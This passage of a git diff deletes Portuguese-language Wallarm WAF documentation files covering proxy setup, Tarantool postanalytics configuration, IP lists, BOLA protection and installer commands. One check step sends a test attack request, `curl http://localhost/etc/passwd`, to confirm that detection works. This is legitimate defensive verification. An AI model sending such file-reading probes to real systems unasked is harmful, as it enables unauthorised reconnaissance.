que devem ser acessados sem um proxy para o sistema operar corretamente: `127.0.0.1`, `127.0.0.8`, `127.0.0.9`, e `localhost`. - Os endereços IP `127.0.0.8` e `127.0.0.9` são usados para a operação do nó de filtragem Wallarm. - -O exemplo do conteúdo correto do arquivo `/etc/environment` abaixo demonstra a seguinte configuração: -* Solicitações HTTPS e HTTP são encaminhadas via proxy para o host `1.2.3.4` com a porta `1234`, usando o nome de usuário `admin` e a senha `01234` para autorização no servidor proxy. -* O proxy é desativado para as solicitações enviadas para `127.0.0.1`, `127.0.0.8`, `127.0.0.9`, e `localhost`. - -``` -https_proxy=http://admin:01234@1.2.3.4:1234 -http_proxy=http://admin:01234@1.2.3.4:1234 -no_proxy="127.0.0.1, 127.0.0.8, 127.0.0.9, localhost" -``` \ No newline at end of file diff --git a/include-pt-BR/waf/acl-block-page-annotation-support.md b/include-pt-BR/waf/acl-block-page-annotation-support.md deleted file mode 100644 index 1d222704b8..0000000000 --- a/include-pt-BR/waf/acl-block-page-annotation-support.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! aviso "Suporte à anotação nginx.ingress.kubernetes.io/wallarm-acl-block-page" - A anotação do controlador Wallarm Ingress `nginx.ingress.kubernetes.io/wallarm-acl-block-page` é suportada apenas na [versão 2.18 do nó Wallarm](/admin-en/configuration-guides/configure-block-page-and-code/). \ No newline at end of file diff --git a/include-pt-BR/waf/configure-separate-postanalytics-address-nginx.md b/include-pt-BR/waf/configure-separate-postanalytics-address-nginx.md deleted file mode 100644 index 354f012d8f..0000000000 --- a/include-pt-BR/waf/configure-separate-postanalytics-address-nginx.md +++ /dev/null @@ -1,18 +0,0 @@ -Adicione os endereços do servidor postanalytics ao arquivo `/etc/nginx/conf.d/wallarm.conf`: - -```bash -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - # omitido - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -* O valor de `max_conns` deve ser especificado para cada um dos servidores upstream Tarantool para evitar a criação de conexões excessivas. -* O valor de `keepalive` não deve ser menor do que o número de servidores Tarantool. -* A string `# wallarm_tarantool_upstream wallarm_tarantool;` está comentada por padrão - por favor, delete `#`. \ No newline at end of file diff --git a/include-pt-BR/waf/features/bola-mitigation/bola-auto-mitigation-logic.md b/include-pt-BR/waf/features/bola-mitigation/bola-auto-mitigation-logic.md deleted file mode 100644 index e19c02cfec..0000000000 --- a/include-pt-BR/waf/features/bola-mitigation/bola-auto-mitigation-logic.md +++ /dev/null @@ -1,17 +0,0 @@ -Uma vez habilitada a proteção BOLA, a Wallarm: - -1. Identifica os endpoints da API que são mais prováveis de serem alvo de ataques BOLA, por exemplo, aqueles com [variabilidade nos parâmetros do caminho][variability-in-endpoints-docs]: `domain.com/path1/path2/path3/{variative_path4}`. - - !!! info "Esta etapa leva um período de tempo" - A identificação de endpoints vulneráveis da API leva um período de tempo necessário para uma profunda observação do inventário da API descoberta e das tendências de tráfego de entrada. - - Apenas os endpoints da API explorados pelo módulo **API Discovery** são protegidos contra ataques BOLA de maneira automatizada. Os endpoints protegidos são [destacados com o ícone correspondente][bola-protection-for-endpoints-docs]. - -1. Protege os endpoints vulneráveis da API contra ataques BOLA. A lógica de proteção padrão é a seguinte: - - * Solicitações a um endpoint vulnerável que excedam o limite de 180 solicitações do mesmo IP por minuto são consideradas ataques BOLA. - * Apenas registra ataques BOLA na lista de eventos quando o limite de solicitações do mesmo IP é atingido. A Wallarm não bloqueia ataques BOLA. As solicitações vão continuar chegando às suas aplicações. - - A reação correspondente no modelo de autoproteção é **Apenas registrar ataques**. - -1. Reage às [alterações na API][changes-in-api-docs] protegendo novos endpoints vulneráveis e desabilitando a proteção para endpoints removidos. diff --git a/include-pt-BR/waf/features/ip-lists/autopopulation-by-antibot.md b/include-pt-BR/waf/features/ip-lists/autopopulation-by-antibot.md deleted file mode 100644 index b6481da53c..0000000000 --- a/include-pt-BR/waf/features/ip-lists/autopopulation-by-antibot.md +++ /dev/null @@ -1,5 +0,0 @@ -O módulo [Prevenção de Abuso de API](../../api-abuse-prevention/overview.md) da Wallarm também preenche automaticamente a lista cinza ou a lista de negação com os IPs dos bots maliciosos. - -Os IPs dos bots são distinguidos pelo **Motivo** `Bot` e os detalhes sobre sua natureza, incluindo a [taxa de confiança](../../api-abuse-prevention/overview.md#how-api-abuse-prevention-works), por exemplo: - -![IPs de bots na lista de negação](../../images/about-wallarm-waf/abi-abuse-prevention/denylisted-bot-ips.png) \ No newline at end of file diff --git a/include-pt-BR/waf/features/ip-lists/common-actions-with-lists-allow-apps.md b/include-pt-BR/waf/features/ip-lists/common-actions-with-lists-allow-apps.md deleted file mode 100644 index d8d670f0de..0000000000 --- a/include-pt-BR/waf/features/ip-lists/common-actions-with-lists-allow-apps.md +++ /dev/null @@ -1,95 +0,0 @@ -[access-wallarm-api-docs]: ../../api/overview.md#your-own-client -[application-docs]: ../settings/applications.md - -## Analisando objetos adicionados à lista - -O console Wallarm exibe os seguintes dados sobre cada objeto adicionado à lista: - -* **Objeto** - Endereço IP, sub-rede, país/região ou fonte de IP adicionada à lista. -* **Aplicativo** - aplicativo ao qual a configuração de acesso do objeto é aplicada. -* **Razão** - razão para adicionar um endereço IP ou um grupo de endereços IP à lista. A razão é especificada manualmente ao adicionar objetos à lista ou gerada automaticamente quando os IPs são adicionados à lista por [gatilhos](../triggers/triggers.md). -* **Data de adição** - data e hora em que um objeto foi adicionado à lista. -* **Remover** - período de tempo após o qual um objeto será excluído da lista. - -## Revisando o histórico de alterações na lista de IPs - -Quando você escolhe datas específicas para examinar o conteúdo da lista de IPs, o sistema retorna um histórico detalhado de suas mudanças, incluindo o momento exato e o método de inclusão, seja manual ou automatizado. O relatório também fornece dados sobre os indivíduos responsáveis pelas alterações e os motivos de cada inclusão. Esses insights auxiliam na manutenção de um rastro de auditoria para conformidade e relatórios. - -![Histórico da lista de IP](../../images/user-guides/ip-lists/ip-list-history.png) - -Ao voltar para a guia **Agora**, você acessa o estado atual da lista de IPs, permitindo visualizar os objetos atualmente incluídos na lista. - -## Filtrando a lista - -Você pode filtrar os objetos na lista por: - -* Endereço IP ou sub-rede especificado na linha de pesquisa -* Período para o qual você deseja obter um status da lista -* País/região em que um endereço IP ou uma sub-rede está registrado -* Fonte à qual um endereço IP ou uma sub-rede pertence - -## Alterando o tempo que um objeto está na lista - -Para alterar o tempo que um endereço IP está na lista: - -1. Selecione um objeto da lista. -2. No menu do objeto selecionado, clique em **Alterar período de tempo**. -3. Selecione uma nova data para remover um objeto da lista e confirme a ação. - -## Excluindo um objeto da lista - -Para excluir um objeto da lista: - -1. Selecione um ou vários objetos da lista. -2. Clique em **Excluir**. - -!!! warning "Re-adicionando o endereço IP excluído" - Após excluir manualmente o endereço IP adicionado à lista pelo [gatilho](../triggers/triggers.md), o gatilho funcionará novamente apenas depois de metade do tempo anterior em que o endereço IP estava na lista. - - Por exemplo: - - 1. O endereço IP foi adicionado automaticamente à lista cinza por 1 hora porque 4 vetores de ataque diferentes foram recebidos deste endereço IP em 3 horas (como está configurado no [gatilho](../triggers/trigger-examples.md#graylist-ip-if-4-or-more-malicious-payloads-are-detected-in-1-hour)). - 2. O usuário deletou este endereço IP da lista cinza via console Wallarm. - 3. Se 4 vetores de ataque diferentes são enviados a partir deste endereço IP dentro de 30 minutos, então este endereço IP não será adicionado à lista cinza. - -## Chamadas de API para obter, popular e excluir objetos da lista de IPs - -Para obter, popular e excluir objetos da lista de IPs, você pode [chamar a API Wallarm diretamente](../../api/overview.md) além de usar a interface do usuário do console Wallarm. Abaixo estão alguns exemplos das chamadas de API correspondentes. - -### Parâmetros de solicitação da API - -Parâmetros a serem passados nas solicitações da API para ler e alterar listas de IPs: - ---8<-- "../include/api-request-examples/ip-list-request-params.md" - -### Adicionar à lista as entradas do arquivo `.csv` - -Para adicionar à lista os IPs ou sub-redes do arquivo `.csv`, use o seguinte script bash: - ---8<-- "../include/api-request-examples/add-ips-to-lists-from-file.md" - -### Adicionar à lista um único IP ou sub-rede - ---8<-- "../include/api-request-examples/add-some-ips-to-lists.md" - -### Adicionar à lista vários países - ---8<-- "../include/api-request-examples/add-some-countries-to-lists.md" - -### Adicionar à lista vários serviços de proxy - ---8<-- "../include/api-request-examples/add-some-proxies-to-lists.md" - -### Excluir um objeto da lista de IPs - -Os objetos são excluídos das listas de IPs por seus IDs. - -Para obter um ID de objeto, solicite o conteúdo da lista de IPs e copie `objects.id` do objeto requerido de uma resposta: - ---8<-- "../include/api-request-examples/get-ip-list-contents.md" - -Tendo o ID do objeto, envie a seguinte solicitação para excluí-lo da lista: - ---8<-- "../include/api-request-examples/delete-object-from-ip-list.md" - -Você pode excluir vários objetos de uma vez, passando seus IDs como uma array na solicitação de exclusão. \ No newline at end of file diff --git a/include-pt-BR/waf/features/ip-lists/common-actions-with-lists-overview.md b/include-pt-BR/waf/features/ip-lists/common-actions-with-lists-overview.md deleted file mode 100644 index 2eda3c5a4f..0000000000 --- a/include-pt-BR/waf/features/ip-lists/common-actions-with-lists-overview.md +++ /dev/null @@ -1,5 +0,0 @@ -* Adicione um único endereço IP ou uma sub-rede -* Adicione um grupo de endereços IP registrados em um país/região, data center, rede, etc. específicos -* Personalize o tempo e o motivo para armazenar o endereço IP na lista -* Delete o endereço IP da lista -* Reveja o histórico de mudanças na lista \ No newline at end of file diff --git a/include-pt-BR/waf/features/ip-lists/common-actions-with-lists.md b/include-pt-BR/waf/features/ip-lists/common-actions-with-lists.md deleted file mode 100644 index 4415f787e1..0000000000 --- a/include-pt-BR/waf/features/ip-lists/common-actions-with-lists.md +++ /dev/null @@ -1,58 +0,0 @@ -## Adicionando um objeto à lista - -Para adicionar um endereço IP, sub-rede ou grupo de endereços IP à lista: - -1. Clique no botão **Adicionar objeto**. -2. Especifique um endereço IP ou grupo de endereços IP de uma das seguintes maneiras: - - * Insira um único **endereço IP** ou uma **sub-rede** - - !!! info "Máscaras de sub-rede suportadas" - A máscara de sub-rede máxima suportada é `/32` para endereços IPv6 e `/12` para endereços IPv4. - - * Selecione um **país** ou uma **região** (geolocalização) para adicionar todos os endereços IP registrados nesse país/região - * Selecione o **tipo de origem** para adicionar todos os endereços IP que pertencem a esse tipo, por exemplo: - * **Tor** para endereços IP da rede Tor - * **Proxy** para endereços IP de servidores proxy públicos ou web - * **Search Engine Spiders** para endereços IP de spiders de motor de busca - * **VPN** para endereços IP de redes privadas virtuais - * **AWS** para endereços IP registrados na Amazon AWS -3. Selecione o período pelo qual um endereço IP ou um grupo de endereços IP deve ser adicionado à lista. O valor mínimo é 5 minutos, o valor máximo é para sempre. -4. Especifique o motivo para adicionar um endereço IP ou um grupo de endereços IP à lista. -5. Confirme a adição de um endereço IP ou um grupo de endereços IP à lista. - -![Adicionar IP à lista (sem aplicativo)](../../images/user-guides/ip-lists/add-ip-to-list-without-app.png) - -## Analisando objetos adicionados à lista - -O Console Wallarm exibe os seguintes dados sobre cada objeto adicionado à lista: - -* **Objeto** - endereço IP, sub-rede, país/região ou origem IP adicionado à lista. -* **Aplicação** - aplicação à qual a configuração de acesso do objeto é aplicada. Como a aplicação da [configuração de acesso do objeto a aplicações específicas é limitada](overview.md#known-caveats-of-ip-lists-configuration), essa coluna sempre exibe o valor **Todos**. -* **Motivo** - motivo para adicionar um endereço IP ou um grupo de endereços IP à lista. O motivo é especificado manualmente ao adicionar objetos à lista ou gerado automaticamente quando os IPs são adicionados à lista por [gatilhos](../triggers/triggers.md). -* **Data de inclusão** - data e hora em que um objeto foi adicionado à lista. -* **Remover** - período de tempo após o qual um objeto será excluído da lista. - -## Filtrando a lista - -Você pode filtrar os objetos na lista por: - -* Endereço IP ou sub-rede especificados na string de pesquisa -* Período pelo qual você deseja obter um status da lista -* País/região em que um endereço IP ou uma sub-rede está registrado -* Fonte à qual um endereço IP ou uma sub-rede pertence - -## Alterando o tempo que um objeto está na lista - -Para alterar o tempo que um endereço IP está na lista: - -1. Selecione um objeto da lista. -2. No menu do objeto selecionado, clique em **Alterar período de tempo**. -3. Selecione uma nova data para remover um objeto da lista e confirme a ação. - -## Excluindo um objeto da lista - -Para excluir um objeto da lista: - -1. Selecione um ou vários objetos da lista. -2. Clique em **Excluir**. \ No newline at end of file diff --git a/include-pt-BR/waf/features/multi-tenancy/partner-client-term.md b/include-pt-BR/waf/features/multi-tenancy/partner-client-term.md deleted file mode 100644 index e9385dc55c..0000000000 --- a/include-pt-BR/waf/features/multi-tenancy/partner-client-term.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! aviso "O termo "cliente parceiro"" - Anteriormente, "inquilino" era referido como "cliente parceiro". Nós continuamos a usar o termo "inquilino". \ No newline at end of file diff --git a/include-pt-BR/waf/features/rules/request-part-reference.md b/include-pt-BR/waf/features/rules/request-part-reference.md deleted file mode 100644 index c2b1042328..0000000000 --- a/include-pt-BR/waf/features/rules/request-part-reference.md +++ /dev/null @@ -1 +0,0 @@ -As opções sequencialmente (se várias) selecionadas em **nesta parte da solicitação** devem refletir uma sequência de analisadores [que o Wallarm aplicaria](request-processing.md) para ler o elemento de solicitação necessário. \ No newline at end of file diff --git a/include-pt-BR/waf/features/rules/rule-creation-options.md b/include-pt-BR/waf/features/rules/rule-creation-options.md deleted file mode 100644 index 15d94680b6..0000000000 --- a/include-pt-BR/waf/features/rules/rule-creation-options.md +++ /dev/null @@ -1,6 +0,0 @@ -Você pode criar e aplicar a regra tanto na seção **Eventos** quanto na seção **Regras** do Console Wallarm. - -* Na seção **Eventos**, as regras são criadas com uma descrição preenchida de endpoints para aplicar a regra. A descrição do endpoint corresponde à solicitação que você clicou no botão [**Regra**](../events/analyze-attack.md#analyze-requests-in-an-event). - - Para concluir a configuração da regra, basta selecionar o tipo de ação da regra e garantir que todos os componentes da regra estejam configurados corretamente. -* Na seção **Regras**, todos os componentes da regra devem ser preenchidos manualmente. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/add-nginx-waf-repos-4.2.md b/include-pt-BR/waf/installation/add-nginx-waf-repos-4.2.md deleted file mode 100644 index e3139b9782..0000000000 --- a/include-pt-BR/waf/installation/add-nginx-waf-repos-4.2.md +++ /dev/null @@ -1,41 +0,0 @@ -=== "Debian 10.x (buster)" - ```bash - sudo apt install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node buster/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.2/x86_64/wallarm-node-repo-4.2-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x e antigos" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.2/x86_64/wallarm-node-repo-4.2-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.2/x86_64/wallarm-node-repo-4.2-0.el8.noarch.rpm - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/add-nginx-waf-repos-4.4.md b/include-pt-BR/waf/installation/add-nginx-waf-repos-4.4.md deleted file mode 100644 index 790a27c628..0000000000 --- a/include-pt-BR/waf/installation/add-nginx-waf-repos-4.4.md +++ /dev/null @@ -1,46 +0,0 @@ -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.4/x86_64/wallarm-node-repo-4.4-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x e inferior" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.4/x86_64/wallarm-node-repo-4.4-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.4/x86_64/wallarm-node-repo-4.4-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.4/x86_64/wallarm-node-repo-4.4-0.el8.noarch.rpm - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one-clean-machine.md b/include-pt-BR/waf/installation/all-in-one-clean-machine.md deleted file mode 100644 index 59b2dc8e36..0000000000 --- a/include-pt-BR/waf/installation/all-in-one-clean-machine.md +++ /dev/null @@ -1,15 +0,0 @@ -Ao atualizar os módulos 4.x com o instalador all-in-one, você não pode atualizar uma instalação de pacote antigo - em vez disso, você precisa usar uma máquina limpa. Assim, como passo 1, prepare uma máquina com um dos sistemas operacionais suportados: - -* Debian 10, 11 e 12.x -* Ubuntu LTS 18.04, 20.04, 22.04 -* CentOS 7, 8 Stream, 9 Stream -* Alma/Rocky Linux 9 -* RHEL 8.x -* RHEL 9.x -* Oracle Linux 8.x -* Oracle Linux 9.x -* Redox -* SuSe Linux -* Outros (a lista está constantemente se expandindo, entre em contato com a [equipe de suporte da Wallarm](mailto:support@wallarm.com) para verificar se seu sistema operacional está na lista) - -Usar uma máquina limpa nova levará ao fato de que, em algum momento, você terá ambos os nós antigos e novos, o que é bom: você pode testar o novo funcionando corretamente sem interromper o antigo. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one-installer-download-4.6.md b/include-pt-BR/waf/installation/all-in-one-installer-download-4.6.md deleted file mode 100644 index 988da4d4df..0000000000 --- a/include-pt-BR/waf/installation/all-in-one-installer-download-4.6.md +++ /dev/null @@ -1,15 +0,0 @@ -A Wallarm sugere instalações all-in-one para os seguintes processadores: - -* x86_64 -* ARM64 (beta) - -Para baixar o script de instalação all-in-one da Wallarm, execute o comando: - -=== "Versão x86_64" - ```bash - curl -O https://meganode.wallarm.com/4.6/wallarm-4.6.14.x86_64-glibc.sh - ``` -=== "Versão ARM64 (beta)" - ```bash - curl -O https://meganode.wallarm.com/4.6/wallarm-4.6.14.aarch64-glibc.sh - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one-installer-download.md b/include-pt-BR/waf/installation/all-in-one-installer-download.md deleted file mode 100644 index 5cf54471d1..0000000000 --- a/include-pt-BR/waf/installation/all-in-one-installer-download.md +++ /dev/null @@ -1,15 +0,0 @@ -A Wallarm sugere instalações all-in-one para os seguintes processadores: - -* x86_64 -* ARM64 - -Para baixar o script de instalação all-in-one da Wallarm, execute o comando: - -=== "versão x86_64" - ```bash - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.0.x86_64-glibc.sh - ``` -=== "versão ARM64" - ```bash - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.0.aarch64-glibc.sh - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one-installer-run-4.6.md b/include-pt-BR/waf/installation/all-in-one-installer-run-4.6.md deleted file mode 100644 index 21418099e4..0000000000 --- a/include-pt-BR/waf/installation/all-in-one-installer-run-4.6.md +++ /dev/null @@ -1,24 +0,0 @@ -1. Execute o script baixado: - - === "Token de API" - ```bash - # Se estiver usando a versão x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.6.14.x86_64-glibc.sh - - # Se estiver usando a versão ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.6.14.aarch64-glibc.sh - ``` - - A variável `WALLARM_LABELS` define o grupo ao qual o nó será adicionado (usado para agrupamento lógico de nós na interface do usuário do Wallarm Console). - - === "Token de nó" - ```bash - # Se estiver usando a versão x86_64: - sudo sh wallarm-4.6.14.x86_64-glibc.sh - - # Se estiver usando a versão ARM64: - sudo sh wallarm-4.6.14.aarch64-glibc.sh - ``` - -1. Selecione [Nuvem US](https://us1.my.wallarm.com/) ou [Nuvem EU](https://my.wallarm.com/). -1. Insira o token Wallarm. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one-installer-run.md b/include-pt-BR/waf/installation/all-in-one-installer-run.md deleted file mode 100644 index 268df4e528..0000000000 --- a/include-pt-BR/waf/installation/all-in-one-installer-run.md +++ /dev/null @@ -1,24 +0,0 @@ -1. Execute o script baixado: - - === "Token da API" - ```bash - # Se estiver usando a versão x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.0.x86_64-glibc.sh - - # Se estiver usando a versão ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.0.aarch64-glibc.sh - ``` - - A variável `WALLARM_LABELS` define o grupo ao qual o nó será adicionado (usado para agrupar logicamente os nós na interface do usuário do Console Wallarm). - - === "Token do nó" - ```bash - # Se estiver usando a versão x86_64: - sudo sh wallarm-4.8.0.x86_64-glibc.sh - - # Se estiver usando a versão ARM64: - sudo sh wallarm-4.8.0.aarch64-glibc.sh - ``` - -1. Selecione [Nuvem dos EUA](https://us1.my.wallarm.com/) ou [Nuvem da EU](https://my.wallarm.com/). -1. Insira o token Wallarm. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one-nginx.md b/include-pt-BR/waf/installation/all-in-one-nginx.md deleted file mode 100644 index 2518635ac8..0000000000 --- a/include-pt-BR/waf/installation/all-in-one-nginx.md +++ /dev/null @@ -1,31 +0,0 @@ -Instale a última versão do NGINX de: - -* **NGINX `estável`** - veja como instalá-lo na [documentação](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-open-source/) do NGINX. -* **NGINX Plus** - veja como instalá-lo na [documentação](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-plus/) do NGINX. -* **NGINX fornecido pela distribuição** - para instalar, use os seguintes comandos: - - === "Debian 10.x (buster)" - ```bash - sudo apt-get update - sudo apt -y install --no-install-recommends nginx - ``` - === "Debian 11.x (bullseye)" - ```bash - sudo apt update - sudo apt -y install --no-install-recommends nginx - ``` - === "CentOS 7.x" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` - === "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` - === "RHEL 8.x" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one-postanalytics-4.6.md b/include-pt-BR/waf/installation/all-in-one-postanalytics-4.6.md deleted file mode 100644 index 82c6ba5159..0000000000 --- a/include-pt-BR/waf/installation/all-in-one-postanalytics-4.6.md +++ /dev/null @@ -1,21 +0,0 @@ -Para instalar o postanalytics separadamente com o instalador all-in-one, utilize: - -=== "Token da API" - ```bash - # Se estiver usando a versão x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.6.14.x86_64-glibc.sh postanalytics - - # Se estiver usando a versão ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.6.14.aarch64-glibc.sh postanalytics - ``` - - A variável `WALLARM_LABELS` define o grupo ao qual o nó será adicionado (utilizada para agrupamento lógico de nós na interface de usuário do Wallarm Console). - -=== "Token do nó" - ```bash - # Se estiver usando a versão x86_64: - sudo sh wallarm-4.6.14.x86_64-glibc.sh postanalytics - - # Se estiver usando a versão ARM64: - sudo sh wallarm-4.6.14.aarch64-glibc.sh postanalytics - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one-postanalytics-check.md b/include-pt-BR/waf/installation/all-in-one-postanalytics-check.md deleted file mode 100644 index e0ba086e89..0000000000 --- a/include-pt-BR/waf/installation/all-in-one-postanalytics-check.md +++ /dev/null @@ -1,40 +0,0 @@ -Para verificar a interação dos módulos NGINX‑Wallarm e postanalytics separados, você pode enviar a solicitação com um teste de ataque para o endereço do aplicativo protegido: - -```bash -curl http://localhost/etc/passwd -``` - -Se os módulos NGINX‑Wallarm e postanalytics separados estiverem configurados corretamente, o ataque será enviado para a Nuvem Wallarm e exibido na seção **Eventos** do Console Wallarm: - -![Ataques na interface][img-attacks-in-interface] - -Se o ataque não foi enviado para a Nuvem, verifique se não há erros na operação dos serviços: - -* Certifique-se de que o serviço postanalytics `wallarm-tarantool` está no status `ativo` - - ```bash - sudo systemctl status wallarm-tarantool - ``` - - ![status do wallarm-tarantool][tarantool-status] -* Analise os logs do módulo postanalytics - - ```bash - sudo cat /var/log/wallarm/tarantool.log - ``` - - Se houver o registro como `SystemError binary: failed to bind: Cannot assign requested address`, certifique-se de que o servidor aceita a conexão no endereço e porta especificados. -* No servidor com o módulo NGINX‑Wallarm, analise os logs do NGINX: - - ```bash - sudo cat /var/log/nginx/error.log - ``` - - Se houver o registro como `[error] wallarm: connect() failed`,certifique-se de que o endereço do módulo postanalytics separado está correto nos arquivos de configuração do módulo NGINX‑Wallarm e o servidor postanalytics separado aceita conexão no endereço e porta especificados. -* No servidor com o módulo NGINX‑Wallarm, obtenha as estatísticas das solicitações processadas usando o comando abaixo e certifique-se de que o valor de `tnt_errors` é 0 - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - [Descrição de todos os parâmetros retornados pelo serviço de estatísticas →][statistics-service-all-parameters] \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one-postanalytics-reconnect.md b/include-pt-BR/waf/installation/all-in-one-postanalytics-reconnect.md deleted file mode 100644 index bffd5d663c..0000000000 --- a/include-pt-BR/waf/installation/all-in-one-postanalytics-reconnect.md +++ /dev/null @@ -1,41 +0,0 @@ -Na máquina com o módulo NGINX-Wallarm, no [arquivo de configuração](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) do NGINX, especifique o endereço do servidor do módulo postanalytics: - -``` -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - # omitido - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -* O valor de `max_conns` deve ser especificado para cada um dos servidores upstream do Tarantool para evitar a criação de conexões excessivas. -* O valor de `keepalive` não deve ser inferior ao número de servidores Tarantool. -* A string `# wallarm_tarantool_upstream wallarm_tarantool;` vem comentada por padrão - por favor, delete `#`. - -Uma vez alterado o arquivo de configuração, reinicie o NGINX/NGINX Plus no servidor do módulo NGINX-Wallarm: - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one-postanalytics-remove-old.md b/include-pt-BR/waf/installation/all-in-one-postanalytics-remove-old.md deleted file mode 100644 index 33a1dfe486..0000000000 --- a/include-pt-BR/waf/installation/all-in-one-postanalytics-remove-old.md +++ /dev/null @@ -1,27 +0,0 @@ -1. Exclua o módulo postanalytics antigo no Console Wallarm → **Nós** selecionando seu nó do módulo postanalytics e clicando em **Excluir**. -2. Confirme a ação. - - Quando o nó do módulo postanalytics é excluído da Cloud, ele deixará de participar da filtragem de solicitações para suas aplicações. A exclusão não pode ser desfeita. O nó do módulo postanalytics 